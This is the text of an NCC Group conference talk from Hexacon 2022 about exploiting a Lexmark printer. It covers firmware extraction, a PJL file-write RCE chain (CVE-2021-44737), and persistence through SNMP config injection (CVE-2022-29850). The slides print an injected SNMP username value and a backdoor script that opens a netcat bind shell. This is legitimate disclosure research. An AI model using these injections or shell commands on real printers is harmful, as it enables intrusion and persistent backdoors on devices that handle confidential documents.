Toner Deaf Hexacon 2022 Release
Toner Deaf Hexacon 2022 Release
Toner Deaf Hexacon 2022 Release
Introduction
Talk overview
Platform Security
Hardware Security
Software Security
Remote Exploitation
PJL File Write Vulnerability (CVE-2021-44737)
Persistence
Secure Boot
Filesystem Security
SNMP Config Injection (CVE-2022-29850)
3 / 59
/us (NCC Group)
Exploit Development Group (EDG)
Cedric Halbronn @saidelike
Windows, Linux, Embedded, NAS devices, printers, etc.
Alex Plaskett @alexjplaskett
Windows, macOS, Linux, Embedded, etc.
Aaron Adams @fidgetingbits
Xen, Windows kernel, Cisco devices, Android, Linux Kernel, etc.
4 / 59
Platform Security Overview
So what's happening?
Bought a Lexmark printer for Pwn2Own 2021 and had no idea about printer security!
Very little previous research online
Where to start? A few goals:
Be able to analyze the software running on the device (statically)
Be able to debug the printer live and determine what's going on (dynamically)
Two-pronged approach
Hardware Analysis
Software Analysis
6 / 59
Platform Security Overview
Hardware Security
Software Security
7 / 59
Hardware Research
Immediately clear there was not a lot about this
device online or lexmark printers on a whole
Two printers purchased
OTA update firmware is encrypted
Time to open it up and see what's inside!
8 / 59
Main PCB
9 / 59
Marvel SOC and Micron NAND flash
10 / 59
Serial UART (JRIP1)
TX pin enabled, output:
11 / 59
Extracting the Firmware From Flash
Connect the TSOP-48 adapter to the flash
programmer
Delicate job performed under the microscope
Remove flash using heat gun (melt solder)
Clean flash pins carefully
Place flash carefully into adapter, align pins
Programmer: select the specific model of flash
Read content, if error clean pins again and repeat
12 / 59
Extracting the Firmware (cont.)
Flash dump is exactly 285,212,672 bytes (272MB) long, more than expected 268,435,456 bytes (256MB)
The extra bytes are the OOB data
Needs to be removed before image can be used
Contains error codes, and flags for bad block management among other things
Each page has 2048-byte usable data + 128 bytes OOB data (2176 bytes)
Usable flash size = 272MB * 2048 / 2176 = 256MB
13 / 59
Extracting the Printer Binaries
We also see the "UBI#" block signature showing up
UBI Volumes Extraction
ubireader_display_info to view the volumes
ubireader_extract_images to extract the volumes
Interesting to us
img-0_vol-Base.ubifs contains the interesting binaries
(squashfs, read-only volume)
img-0_vol-InternalStorage.ubifs contains the user
data (ubifs, writable volume)
14 / 59
Mission Accomplished - Static Firmware Analysis
Extract with unsquashfs
Can now access the binaries!
So no block based encryption (e.g. dm-crypt)
$ unsquashfs img-0_vol-Base.ubifs
$ ls -l Base_squashfs_dir
drwxr-xr-x 2 cvisinescu cvisinescu 4096 Jun 22 2021 bin
drwxr-xr-x 2 cvisinescu cvisinescu 4096 Jun 22 2021 boot
-rw-r--r-- 1 cvisinescu cvisinescu 909 Jun 22 2021 Build.Info
drwxr-xr-x 2 cvisinescu cvisinescu 4096 Mar 11 2021 dev
drwxr-xr-x 53 cvisinescu cvisinescu 4096 Jun 22 2021 etc
drwxr-xr-x 6 cvisinescu cvisinescu 4096 Jun 22 2021 home
drwxr-xr-x 8 cvisinescu cvisinescu 4096 Jun 22 2021 lib
drwxr-xr-x 2 cvisinescu cvisinescu 4096 Mar 11 2021 media
...
drwxr-xr-x 2 cvisinescu cvisinescu 4096 Mar 11 2021 run
drwxr-xr-x 2 cvisinescu cvisinescu 4096 Jun 22 2021 sbin
15 / 59
Platform Security Overview
Hardware Security
Software Security
16 / 59
Operating System
OS is based on Yocto Linux
Lexmark have custom layers to support their platform
meta
meta-poky
meta-yocto-bsp = "HEAD:5dabbae1203cdd72b9045179d4bc483f5666a46a"
meta-webserver
meta-networking
meta-oe
meta-python
meta-filesystems = "HEAD:8760facba1bceb299b3613b8955621ddaa3d4c3f"
meta-lexmark = "HEAD:136f640c48187469a17b568cf30e9a47aeca5097"
meta-granite = "HEAD:f1a3e7f37995d5b7907ca7dc22f83f3827164203"
meta-armada = "HEAD:4fd14a06ba117531efbe1e5f1ee1030209bd2b4a"
meta-abrt = "HEAD:a55df92c6fc027eeff4148857371213462cb8bd8"
meta-rust = "HEAD:abb625bac074fbe627ee6b5bf7934491804cf876"
meta-qt4 = "HEAD:8e791c40140460825956430ba86b6266fdec0a93"
meta-gplv2 = "HEAD:813b7d2b5573d8591c6cd8087b326f0a0703d6b9"
17 / 59
Listening Services
Map external attack surface and determine binaries from firmware
Reminder we don't have a shell at this point, as UART is RX pin is not enabled
18 / 59
Remote Object Service Bus (ROB)
Firewalled internal service
ROB seems to be a custom Lexmark RPC-style mechanism, designed to allow interaction between objects via
sockets (UDP and TCP)
ROB objects are extensively used by most services
Written in Rust and implemented in uranium
Allows services on the device to share information and communicate
Main focal point of things running on the device
19 / 59
ROB tools
This part was done when we eventually got a shell
Harder to determine statically
Available commands:
ls list objects on the bus
elem elemformat [args]
call object method elemformat [args]
sendevent object event elemformat [args]
observeevent object event
waitforobject waitforobject objectname [timeoutseconds]
help list commands and arguments
morehelp more in-depth explanation of this tool
20 / 59
Remote Object Service Bus (ROB)
Example RPC in code as follows:
int display_ui_message()
{
instance = rob_proxy_instance();
rc = 0;
elem = rob_proxy_call_with_format(
instance,
&rc,
"applications.gui.prompts.displayprompt",
"displayMessage",
"{ssi}",
"title",
"");
if ( rc )
printf("%s: rc = %d\n", "display_ui_message", rc);
return rob_elem_free(elem);
}
21 / 59
What about other components?
That was actually a bit of a detour..
A lot is written in Rust?
Hell No! The majority of binaries are still in native C
However, using Rust for this central uranium component is a good design choice
Memory corruption still very much a thing with the external network services
Perhaps because they are really old? Massive undertaking to rewrite
22 / 59
Crash Analysis and Coredumps
WebUI coredumps are encrypted:
http://lexmark.local/cgi-bin/auto-fwdebug-se?cmd=dump_se&file=2021-10-07T173617Z.tzo.der
We do have some crash stacks / memory maps via UART (but no registers):
:{ "signal": 6
:, "executable": "/usr/bin/hydra"
:, "stacktrace":
: [ { "crash_thread": true
: , "frames":
: [ { "address": 1261290060
: , "build_id_offset": 180812
: , "function_name": "gsignal"
: , "file_name": "/lib/libc.so.6"
: }
: , { "address": 1261294256
: , "build_id_offset": 185008
: , "function_name": "abort"
: , "file_name": "/lib/libc.so.6"
23 / 59
Hydra - TCP 9100
Native C service which handles all the print related functionality
Printer Job Language (PJL)
Printer Control Language (PCL)
A huge amount of code is within this binary and is also another key component
24 / 59
Attacking Hydra?
Mitigations
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
FORTIFY: Enabled
Options?
Network-based fuzzing - limited debug visbility (no)
Static reverse engineering (logic bugs!)
External data flowing in
25 / 59
Hydra - Printer Job Language (PJL)
@PJL SET PAPER=A4
@PJL SET COPIES=10
pjlpGrowCommandHandler("LREADRFIDTRACE", pjl_handle_lreadrfidtrace);
pjlpGrowCommandHandler("LDLWELCOMESCREEN", pjl_handle_ldlwelcomescreen);
pjlpGrowCommandHandler("LPORTLOOPBACK", pjlHandlerLPortLoopBack);
pjlpGrowCommandHandler("LEMAILALERTSDEBUG", pjl_handle_lemailalertsdebug);
pjlpGrowCommandHandler("LFAXSERVICE", pjl_handle_lfaxservice);
pjlpGrowCommandHandler("UNSUPPORTEDCOMMANDHANDLER",
pjl_handle_unsupportedcommand);
26 / 59
Remote Exploitation
Remote Exploitation
PJL File Write (CVE-2021-44737)
28 / 59
LDLWELCOMESCREEN
Support a "file" command argument
29 / 59
pjl_handle_ldlwelcomescreen_internal
Opens fd, calls inner function, closes fd and removes the file
30 / 59
Understanding the File Write
Internal function responsible for reading additional data and writing to opened file
31 / 59
Confirming the File Write
/usr/share/web/cgi-bin/eventlogdebug_se:
...
for i in 9 8 7 6 5 4 3 2 1 0; do
if [ -e /var/fs/shared/eventlog/logs/debug.log.$i ] ; then
cat /var/fs/shared/eventlog/logs/debug.log.$i
fi
done
32 / 59
Exploiting the Crash Event Handler aka ABRT
Spent a lot of time looking for a way to execute code
A lot of the file system was mounted read only (overlay filesystem)
Can't overwrite existing files
This looks interesting!
$ ls ./squashfs-root/etc/libreport/events.d
abrt_dbus_event.conf emergencyanalysis_event.conf rhtsupport_event.conf
vimrc_event.conf
ccpp_event.conf gconf_event.conf smart_event.conf
vmcore_event.conf
centos_report_event.conf koops_event.conf svcerrd.conf
coredump_handler.conf print_event.conf uploader_event.conf
33 / 59
Coredump Handler
How does this config work?
34 / 59
AWK / Log Rotation Bug!
Found through fuzzing HTTP server (over the network)
Generate HTTP logs such that rotation occurs 2x within one second
Two instances of apache2-logstat.sh parse same filename
35 / 59
Full Chain
36 / 59
PJL File Write Demo
37 / 59
Persistence
Persistence
We didn't need this for Pwn2Own
However, persistence on a printer is a real world threat
No AV/EDR for printers
No IR visbility?
No automatic update
Access to lots of confidential business documents
Who knows if their printer is compromised?
More serious if it persists across firmware updates too
39 / 59
Persistence
Secure Boot
Filesystem Security
SNMP Config Injection (CVE-2022-29850)
40 / 59
Flash Analysis
41 / 59
Getting a Shell?
Modifying u-boot?
Patch bootdelay_process() to enable a shell
s = env_get("bootdelay");
if ( s )
bootdelay_default = simple_strtol(s, 0, 10);
else
// #define CONFIG_BOOTDELAY 5 /* autoboot after 5 seconds */
// but here default is -2
bootdelay_default = -2;
bootdelay = fdtdec_get_config_int((void *)gd->fdt_blob, "bootdelay", bootdelay_default);
42 / 59
Secure Boot?
Initial reversing done
Not tested due to being able to correctly dump/unpack
No bootloader/kernel/filesystem encryption
We got persistence at filesystem level (see later)
Future research area to determine effectiveness of the chain
43 / 59
Persistence
Secure Boot
Filesystem Security
SNMP Config Injection (CVE-2022-29850)
44 / 59
File System Persistence
PATH WRITABLE
PERSIST?
/dev/mapper/verity_ubiblock0_3 on / type squashfs (ro,noatime) No No
/dev/mtdblock3 on /run/media/nvmirror type jffs2 (rw,nodev,noatime) Yes No
overlay on /etc type overlay (rw,nosuid,nodev,relatime,lowerdir=/etc, Partial No
upperdir=/tmp/overlay/etc,workdir=/tmp/overlay/etcworkdir)
/dev/zram0 on /run type ext4 (rw,nosuid,nodev,noexec,noatime,...) Yes No
/dev/ubi0_24 on /var/fs type ubifs (rw,nosuid,nodev,noexec,...) Yes Yes
45 / 59
Settings
Stored in: /var/fs/shared/block_*.data or /var/fs/shared/netapps/block_*.data
Lexmark tools: read_block_value or netapps_read_block_value
Requesting the serial number:
46 / 59
Settings Parser/Modifier in Python
# ./read_block_value.py --block-directory settings/ --variable-id
NPA_NVSERIALNUM
(09:28:06) [*] Looking for block information for 0x15a (NPA_NVSERIALNUM).
(09:28:06) DBG: block_file_name settings/block_54.data.
(09:28:06) DBG: block_size 2380.
(09:28:06) DBG: items 1.
(09:28:06) DBG: version 1.
(09:28:06) [*] offset 0x62a / cur 50 / size 13 (0xd).
(09:28:06) [*] name NPA_NVSERIALNUM.
00000000: 59 59 59 59 59 59 59 59 59 59 59 59 59 YYYYYYYYYYYYY
Lots of them:
47 / 59
Persistence
Secure Boot
Filesystem Security
SNMP Config Injection (CVE-2022-29850)
48 / 59
SNMP Config Injection (CVE-2022-29850)
Scenario:
Exploit RCE (e.g. previously described PJL file write) to get shell access on CXLBL.075.281
Exploit CVE-2022-29850 to install persistent backdoor
Reboot - persistence mechanism still in place and shell access maintained
Update to CXLBL.076.301 - persistence mechanism still in place and shell access maintained
49 / 59
SNMP Setting Analysis
On the Web UI (logged in as admin)
Go to "Settings > Network and Ports > SNMP" menu
Go to "Set Read-only Credentials"
Enter edg_rw_cred_user in the "User Name"
field
50 / 59
SNMP Setting Analysis
51 / 59
Controlled data in SNMP config
root@XXXXXXXXXXXXXX:~# cat /var/dev/netapps/snmpd.conf
...
access public "" any noauth prefix all_remote nosettingsmib none
rouser edg_rw_cred_user priv -V all_remote "*"
access remote_mgmt "" usm priv exact all_remote all_remote all_remote
...
52 / 59
Attempt 1 - FAILED
Manually patch /var/fs/shared/settings/netapps/block_5.data
53 / 59
Attempt 1 - FAILED
Manually patch /var/fs/shared/settings/netapps/block_5.data
53 / 59
Attempt 2
On the Web UI (logged in as admin), go to the "Settings > Network and Ports > SNMP" menu
Go to "Set Read-only Credentials" and enter in the "User Name" field
b extend-sh .1.2 c . /var/fs/a #
54 / 59
Injection
Restarting snmpUTIL shows the injection:
Side effects
extend-sh command executed at boot time => extends the SNMP MIB dynamically
#!/bin/ash
/bin/touch /tmp/helloworld
id > /tmp/id.txt
nc -l -p 1337 -e /bin/ash &
echo "aaa"
55 / 59
Persistence Demo
56 / 59
Conclusion
Conclusion
Persistence Could be improved
Persists among reboot/update but not configuration Security through obscurity a bit
reset
Platform visibility => issues can be found
Network-facing services are still C / random shell
Done well scripts
Relatively modern OS platform base (Yocto) Enable auto updates
Responsive vendor / handle security issues well Ensure mitigations are complete across all binaries
Rust for central component (ROB) Stack canaries, PIE
Lack major hardware protections: no encryption
58 / 59
Thank you! Questions?